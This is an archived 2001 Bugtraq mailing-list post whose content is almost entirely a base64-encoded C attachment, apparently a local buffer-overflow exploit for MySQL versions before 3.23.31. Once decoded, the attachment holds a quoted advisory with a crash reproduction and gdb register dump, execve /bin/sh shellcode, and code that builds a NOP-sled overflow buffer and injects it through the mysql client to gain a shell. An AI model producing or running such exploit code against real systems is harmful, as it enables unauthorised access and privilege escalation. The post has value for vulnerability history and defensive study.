[18735] in bugtraq
Re: MySQL Overflow + exploit [ops..sent a broken exploit :P]
daemon@ATHENA.MIT.EDU (Luis Miguel Ferreia Silva)
Mon Jan 22 20:09:00 2001
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="2126586597-697174761-979943203=:15656"
Message-ID: <Pine.LNX.4.21.0101192225270.15656-200000@www.ispgaya.pt>
Date: Fri, 19 Jan 2001 22:26:43 +0000
Reply-To: Luis Miguel Ferreia Silva <lms@WWW.ISPGAYA.PT>
From: Luis Miguel Ferreia Silva <lms@WWW.ISPGAYA.PT>
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--2126586597-697174761-979943203=:15656
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sorry, here's the REAL exploit =)
Regardz, wC [Luis Miguel Silva]
--2126586597-697174761-979943203=:15656
Content-Type: TEXT/plain; name="MySQLXploit.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0101192226430.15656@www.ispgaya.pt>
Content-Description:
Content-Disposition: attachment; filename="MySQLXploit.c"
LyoNDQoNDQogTGludXggTXlTUUwgRXhwbG9pdCBieSBMdWlzIE1pZ3VlbCBT
aWx2YSBbYWthIHdDXQ0NCiBsbXNAaXNwZ2F5YS5wdA0NCiAxOS8wMS95Mmsr
MQ0NCg0NCiBDb21waWxlOg0NCg0NCiAgIGdjYyBNeVNRTFhwbG9pdC5jIC1v
IE15U1FMWA0NCg0NCiBSdW4gd2l0aDoNDQoNDQogICBZb3UgY2FuIHNwZWNp
ZnkgdGhlIG9mZnNldCBmb3IgdGhlIGV4cGxvaXQgcGFzc2luZyBpdCBhcyB0
aGUgMXN0IGFyZy4uLg0NCg0NCiAgIEV4YW1wbGU6IC4vTXlTUUxYIDAgLS0t
PiB0aGlzIGlzIHRoZSBkZWZhdWx0IG9mZnNldCA6XQ0NCg0NCiBBZHZpc29y
aWU6IA0NCiBbZnJvbSBhIGJ1Z3RyYXEgZW1haWxdDQ0KDQ0KIEhpLA0NCg0N
CiBhbGwgdmVyc2lvbnMgb2YgTXlTUUwgPCAzLjIzLjMxIGhhdmUgYSBidWZm
ZXItb3ZlcmZsb3cgd2hpY2ggY3Jhc2hzIHRoZQ0NCiBzZXJ2ZXIgYW5kIHdo
aWNoIHNlZW1zIHRvIGJlIGV4cGxvaXRhYmxlIChpZS4gNDE0MTQxNCBpbiBl
aXApDQ0KDQ0KIFByb2JsZW0gOg0NCiBBbiBhdHRhY2tlciBjb3VsZCBnYWlu
IG15c3FsZCBwcml2aWxlZ2VzIChnYWluaW5nIGFjY2VzcyB0byBhbGwgdGhl
DQ0KIGRhdGFiYXNlcykNDQoNDQogUmVxdWlyZW1lbnRzIDoNDQogWW91IG5l
ZWQgYSB2YWxpZCBsb2dpbi9wYXNzd29yZCB0byBleHBsb2l0IHRoaXMNDQoN
DQogU29sdXRpb24gOg0NCiBVcGdyYWRlIHRvIDMuMjMuMzENDQoNDQogUHJv
b2Ytb2YtY29uY2VwdCBjb2RlIDoNDQogTm9uZQ0NCg0NCiBDcmVkaXRzIDoN
DQogSSdtIG5vdCB0aGUgZGlzY292ZXJlciBvZiB0aGlzIGJ1Zw0NCiBUaGUg
Zmlyc3QgcHVibGljIHJlcG9ydCB3YXMgbWFkZSBieSB0aGFyYmFkQGthb3Rp
ay5vcmcgdmlhIHRoZSBNeVNRTA0NCiBtYWlsaW5nLWxpc3QNDQogU2VlIHRo
ZSBmb2xsb3dpbmcgbWFpbHMgZm9yIGRldGFpbHMNDQoNDQogUmVnYXJkcywN
DQogTmljb2INDQoNDQogSGVyZSB0aGUgb3JpZ2luYWwgcG9zdCB0byB0aGUg
TXlTUUwgbWFpbGluZy1saXN0IDoNDQogPT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NDQoNDQogT24gSmFuIDEy
LCBKbz9vIEdvdXZlaWEgd3JvdGU6DQ0KID4gSGksDQ0KID4NDQogPiBJIGJl
bGlldmUgaSd2ZSBmb3VuZCBhIHByb2JsZW0gaW4gTXlTcWwuIEhlcmUgYXJl
IHNvbWUgdGVzdCdzIGkndmUgbWFkZSBpbg0NCiA+IDMuMjIuMjcgeDg2KCBh
bHNvIHRlc3RlZCBvbiB2My4yMi4zMiAtIGxhdGVzdCBzdGFibGUsIGFsdGhv
dWdoIGkgZGlkbid0DQ0KID4gZGVidWcgaXQsIGp1c3QgdGVzdGVkIHRvIHNl
ZSBpZiBjcmFzaGVzICkuQ29uZmlybWVkIHVwIHRvIGxhdGVzdCAzLjIzDQ0K
DQ0KID4gT24gb25lIHRlcm1pbmFsOg0NCiA+IDxxdW90ZT4NDQogPiBzcGlr
ZTovdmFyL215c3FsICMgL3NiaW4vaW5pdC5kL215c3FsIHN0YXJ0DQ0KID4g
U3RhcnRpbmcgc2VydmljZSBNeVNRTC4NDQogPiBTdGFydGluZyBteXNxbGQg
ZGFlbW9uIHdpdGggZGF0YWJhc2VzIGZyb20gL3Zhci9teXNxbA0NCiA+IGRv
bmUNDQogPiBzcGlrZTovdmFyL215c3FsICMNDQogPjwvcXVvdGU+DQ0KID4N
DQogPiBPbiB0aGUgb3RoZXIgdGVybWluYWw6DQ0KID4gPHF1b3RlPg0NCiA+
IGpyb2JlcnRvQHNwaWtlOn4gPiBteXNxbCAtcCAtZSAnc2VsZWN0IGEuJ2Bw
ZXJsIC1lJ3ByaW50ZigiQSJ4MTMwKSdgJy5iJw0NCiA+IEVudGVyIHBhc3N3
b3JkOg0NCiA+IChoYW5nZWQuLl5DKQ0NCiA+IDwvcXVvdGU+DQ0KID4NDQog
PiBPbiB0aGUgZmlyc3QgdGVybWluYWwgaSBnb3Q6DQ0KID4gPHF1b3RlPg0N
CiA+IHNwaWtlOi92YXIvbXlzcWwgIyAvdXNyL2Jpbi9zYWZlX215c3FsZDog
bGluZSAxNDk6IDE1NTU3IFNlZ21lbnRhdGlvbiBmYXVsdA0NCiA+IG5vaHVw
DQ0KID4gJGxlZGlyL215c3FsZCAtLWJhc2VkaXI9JE1ZX0JBU0VESVJfVkVS
U0lPTiAtLWRhdGFkaXI9JERBVEFESVIgLS1za2lwLWxvY2tpbg0NCiA+IGcg
IiRAIiA+PiRlcnJfbG9nIDI+JjE+DQ0KID4gTnVtYmVyIG9mIHByb2Nlc3Nl
cyBydW5uaW5nIG5vdzogMA0NCiA+IG15c3FsZCByZXN0YXJ0ZWQgb24gIEZy
aSBKYW4gMTIgMDc6MTA6NTQgV0VUIDIwMDENDQogPiBteXNxbGQgZGFlbW9u
IGVuZGVkDQ0KID4gPC9xdW90ZT4NDQogPg0NCiA+IGdkYiBzaG93cyB0aGUg
Zm9sbG93aW5nOg0NCiA+IDxxdW90ZT4NDQogPiAoZ2RiKSBydW4NDQogPiBT
dGFydGluZyBwcm9ncmFtOiAvdXNyL3NiaW4vbXlzcWxkDQ0KID4gW05ldyBU
aHJlYWQgMTY4OTcgKG1hbmFnZXIgdGhyZWFkKV0NDQogPiBbTmV3IFRocmVh
ZCAxNjg5MSAoaW5pdGlhbCB0aHJlYWQpXQ0NCiA+IFtOZXcgVGhyZWFkIDE2
ODk4XQ0NCiA+IC91c3Ivc2Jpbi9teXNxbGQ6IHJlYWR5IGZvciBjb25uZWN0
aW9ucw0NCiA+IFtOZXcgVGhyZWFkIDE2OTE2XQ0NCiA+IFtTd2l0Y2hpbmcg
dG8gVGhyZWFkIDE2OTE2XQ0NCiA+DQ0KID4gUHJvZ3JhbSByZWNlaXZlZCBz
aWduYWwgU0lHU0VHViwgU2VnbWVudGF0aW9uIGZhdWx0Lg0NCiA+IDB4NDE0
MTQxNDEgaW4gPz8gKCkNDQogPiAoZ2RiKSBpbmZvIGFsbC1yZWdpc3RlcnMN
DQogPiBlYXggICAgICAgICAgICAweDEgICAgICAxDQ0KID4gZWN4ICAgICAg
ICAgICAgMHg2OCAgICAgMTA0DQ0KID4gZWR4ICAgICAgICAgICAgMHg4MTY2
OTQ3ICAgICAgICAxMzU2ODY0NzENDQogPiBlYnggICAgICAgICAgICAweDQx
NDE0MTQxICAgICAgIDEwOTQ3OTU1ODUNDQogPiBlc3AgICAgICAgICAgICAw
eGJmNWZmNDA4ICAgICAgIDB4YmY1ZmY0MDgNDQogPiBlYnAgICAgICAgICAg
ICAweDQxNDE0MTQxICAgICAgIDB4NDE0MTQxNDENDQogPiBlc2kgICAgICAg
ICAgICAweDQxNDE0MTQxICAgICAgIDEwOTQ3OTU1ODUNDQogPiBlZGkgICAg
ICAgICAgICAweDAgICAgICAwDQ0KID4gZWlwICAgICAgICAgICAgMHg0MTQx
NDE0MSAgICAgICAweDQxNDE0MTQxDQ0KID4gZWZsYWdzICAgICAgICAgMHgx
MDI0NiAgNjYxMTgNDQogPiBjcyAgICAgICAgICAgICAweDIzICAgICAzNQ0N
CiA+IHNzICAgICAgICAgICAgIDB4MmIgICAgIDQzDQ0KID4gZHMgICAgICAg
ICAgICAgMHgyYiAgICAgNDMNDQogPiBlcyAgICAgICAgICAgICAweDJiICAg
ICA0Mw0NCiA+IGZzICAgICAgICAgICAgIDB4MCAgICAgIDANDQogPiBncyAg
ICAgICAgICAgICAweDAgICAgICAwDQ0KID4gKGdkYikNDQogPiA8L3F1b3Rl
Pg0NCiA+DQ0KID4gbG9va3MgbGlrZSBhIHRpcGljYWwgb3ZlcmZsb3cgdG8g
bWUuDQ0KID4gUGxlYXNlIHJlcGx5IGFzYXAsIGF0IGxlYXN0IHRvIHRlbGwg
bWUgaSdtZSBub3Qgc2VlaW5nIHRoaW5ncy4gOi0pPg0NCiA+IEJlc3QgcmVn
YXJkcywNDQogPg0NCiA+IEpvYW8gR291dmVpYSBha2EgVGhhcmJhZC4NDQog
Pg0NCiA+IHRoYXJiYWRAa2FvdGlrLm9yZw0NCg0NCiBIZXJlIHRoZSByZXBv
bnNlIHRvIGEgZW1haWwgSSBzZW5kIHRvZGF5IHRvIHRoZSBNeVNRTCBsaXN0
IDoNDQogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09DQ0KDQ0KIFNlcmdlaSBHb2x1YmNoaWsg
KE15U1FMIHRlYW0pIHdyb3RlIDoNDQogPg0NCiA+IEhpIQ0NCiA+DQ0KID4g
T24gSmFuIDE4LCBOaWNvbGFzIEdSRUdPSVJFIHdyb3RlOg0NCiA+ID4gSGks
DQ0KID4gPg0NCiA+ID4gU3RpbGwgbm90IGFueSBpbmZvIGFib3V0IHRoZSBi
dWZmZXItb3ZlcmZsb3cgZGlzY292ZXJlZCBsYXN0IHdlZWsgPw0NCiA+ID4g
U2hvdWxkbid0IGJlIGZpeGVkIGF0IHRoZSBiZWdpbm5pbmcgb2YgdGhlIHdl
ZWsgPw0NCiA+ID4NDQogPiA+IFBsZWFzZSwgZGVhciBNeVNRTCB0ZWFtLCBn
aXZlIHVzIGluZm8gISENDQogPiA+DQ0KID4gPiBSZWdhcmRzLA0NCiA+ID4g
Tmljb2INDQogPg0NCiA+IEZpeGVkIGluIGxhdGVzdCByZWxlYXNlICgzLjIz
LjMxKS4NDQogPg0NCiA+IFJlZ2FyZHMsDQ0KID4gU2VyZ2VpDQ0KDQ0KIEhl
cmUgYW4gcGFydCBvZiB0aGUgMy4yMy4zMCB0byAzLjIzLjMxIGRpZmYgOg0N
CiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT0NDQoNDQogK0NoYW5nZXMgaW4gcmVsZWFzZSAzLjIzLjMxDQ0KICstLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0NCiArDQ0KICsgICAqIEZpeGVkIHNl
Y3VyaXR5IGJ1ZyBpbiBzb21ldGhpbmcgKHBsZWFzZSB1cGdyYWRlIGlmIHlv
dSBhcmUgdXNpbmcgYQ0NCiArICAgICBlYXJsaWVyIE15U1FMIDMuMjMgdmVy
c2lvbikuDQ0KDQ0KIEVuZCBvZiBBZHZpc29yaWUNDQoNDQogRmluYWwgV29y
ZHM6IFllcy4uaSdtIHN0aWxsIGFsaXZlLi4uPGc+IFtqdXN0IGEnc2xlZXAu
Ll0NDQoNDQogQSBiaWcga2lzcyB0byBuaW5lc3MgYW5kIGh1Z3MgdG8gYWxs
IG15IGZyaWVuZHMuLi4NDQogbHVjaXBoZXIgJiYgYWxsIG9mIHRoZSB1bnNl
Y3VyaXR5Lm9yZyBjcmV3Li4uDQ0KIEpGQSBhbmQgYWxsIG9mIHRoZSBBbmdl
bFNQIFtwc2V1ZG8gOlBdJ2NyZXcuLi4NDQogQWhtbS4uLmkganVzdCB3YXZl
IGV2ZXJ5Ym9keSA6XQ0NCg0NCiovDQ0KDQ0KI2luY2x1ZGUgPHN0ZGlvLmg+
DQ0KDQ0KI2RlZmluZSBERUZBVUxUX09GRlNFVCAwDQ0KI2RlZmluZSBERUZB
VUxUX0JVRkZFUl9TSVpFIDEzMA0NCiNkZWZpbmUgTk9QIDB4OTANDQoNDQov
LyBPdXIgRVZJTCBjb2RlLi4uDQ0KY2hhciBzaGVsbGNvZGVbXSA9DQ0KICAi
XHhlYlx4MWZceDVlXHg4OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdc
eDg5XHg0Nlx4MGNceGIwXHgwYiINDQogICJceDg5XHhmM1x4OGRceDRlXHgw
OFx4OGRceDU2XHgwY1x4Y2RceDgwXHgzMVx4ZGJceDg5XHhkOFx4NDBceGNk
Ig0NCiAgIlx4ODBceGU4XHhkY1x4ZmZceGZmXHhmZi9iaW4vc2giOw0NCg0N
CnVuc2lnbmVkDQ0KbG9uZyBnZXRfc3Aodm9pZCkgew0NCiAgIF9fYXNtX18o
Im1vdmwgJWVzcCwlZWF4Iik7DQ0KfQ0NCg0NCi8vIFdoZXJlIGl0IGFsbCBo
YXBwZW5zLi4uDQ0KbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0NCnsN
DQogY2hhciAqYnVmZmVyLCAqcHRyLCB0bXBbMTUwMF07DQ0KIGxvbmcgKmFk
ZHJfcHRyLCBhZGRyOw0NCiBpbnQgaSxic2l6ZT1ERUZBVUxUX0JVRkZFUl9T
SVpFLG9mZnNldD1ERUZBVUxUX09GRlNFVDsNDQoNDQogcHJpbnRmKCJcbk15
U1FMIFthbGwgdmVyc2lvbnMgPCAzLjIzLjMxXSBMb2NhbCBFeHBsb2l0IGJ5
IGxtc0Bpc3BnYXlhLnB0XG5cbiIpOw0NCiBpZiAoYXJnYz09Mikgb2Zmc2V0
PWF0b2koYXJndlsxXSk7DQ0KIGVsc2UgDQ0KICAgcHJpbnRmKCJIYXBweSB0
b3VnaHRzOiBEaWQgeW91IGtub3cgeW91IGNhbiBwYXNzIGEgb2Zmc2V0IGFz
IGFyZ3ZbMV0/IDpdXG4iKTsNDQoNDQogcHJpbnRmKCJUcnlpbmcgdG8gYWxs
b2NhdGUgbWVtb3J5IGZvciBidWZmZXIgKCVkIGJ5dGVzKS4uLiIsYnNpemUp
Ow0NCiBpZiAoIShidWZmZXIgPSBtYWxsb2MoYnNpemUpKSkgew0NCiAgIHBy
aW50ZigiRVJST1IhXG4iKTsNDQogICBwcmludGYoIkNvdWxkbid0IGFsbG9j
YXRlIG1lbW9yeS4uLlxuIik7DQ0KICAgcHJpbnRmKCJFeGl0aW5nLi4uXG4i
KTsNDQogICBleGl0KDApOw0NCiB9DQ0KIHByaW50ZigiU1VDQ0VTUyFcbiIp
Ow0NCiBhZGRyPWdldF9zcCgpLW9mZnNldDsNDQogcHJpbnRmKCJVc2luZyBh
ZGRyZXNzIDogMHgleFxuIiwgYWRkcik7DQ0KIHByaW50ZigiT2Zmc2V0ICAg
ICAgICA6ICVkXG4iLG9mZnNldCk7DQ0KIHByaW50ZigiQnVmZmVyIFNpemUg
ICA6ICVkXG4iLGJzaXplKTsNDQogcHRyPWJ1ZmZlcjsNDQogYWRkcl9wdHI9
KGxvbmcgKikgcHRyOw0NCiBmb3IgKGk9MDtpPGJzaXplO2krPTQpICooYWRk
cl9wdHIrKyk9YWRkcjsNDQogZm9yIChpPTA7aTxic2l6ZS8yO2krKykgYnVm
ZmVyW2ldPU5PUDsNDQogcHRyPWJ1ZmZlcisoKGJzaXplLzIpLShzdHJsZW4o
c2hlbGxjb2RlKS8yKSk7DQ0KIGZvciAoaT0wO2k8c3RybGVuKHNoZWxsY29k
ZSk7aSsrKSAqKHB0cisrKT1zaGVsbGNvZGVbaV07DQ0KIGJ1ZmZlcltic2l6
ZS0xXT0nXDAnOw0NCiBzbnByaW50Zih0bXAsc2l6ZW9mKHRtcCksIm15c3Fs
IC1wIC1lICdzZWxlY3QgYS4nJXMnLmInIixidWZmZXIpOw0NCiBwcmludGYo
Ik9oIGsuLi5pIGhhdmUgdGhlIGV2aWwnYnVmZmVyIHJpZ2h0IGhlcmUgOlBc
biIpOw0NCiBwcmludGYoIlNvLi4uW2lmIGFsbCB3ZW50IHdlbGxdLCBwcmVw
YXJlIHRvIGJlIHIwMHQuLi5cbiIpOw0NCiBzeXN0ZW0odG1wKTsNDQp9DQ0K
--2126586597-697174761-979943203=:15656--
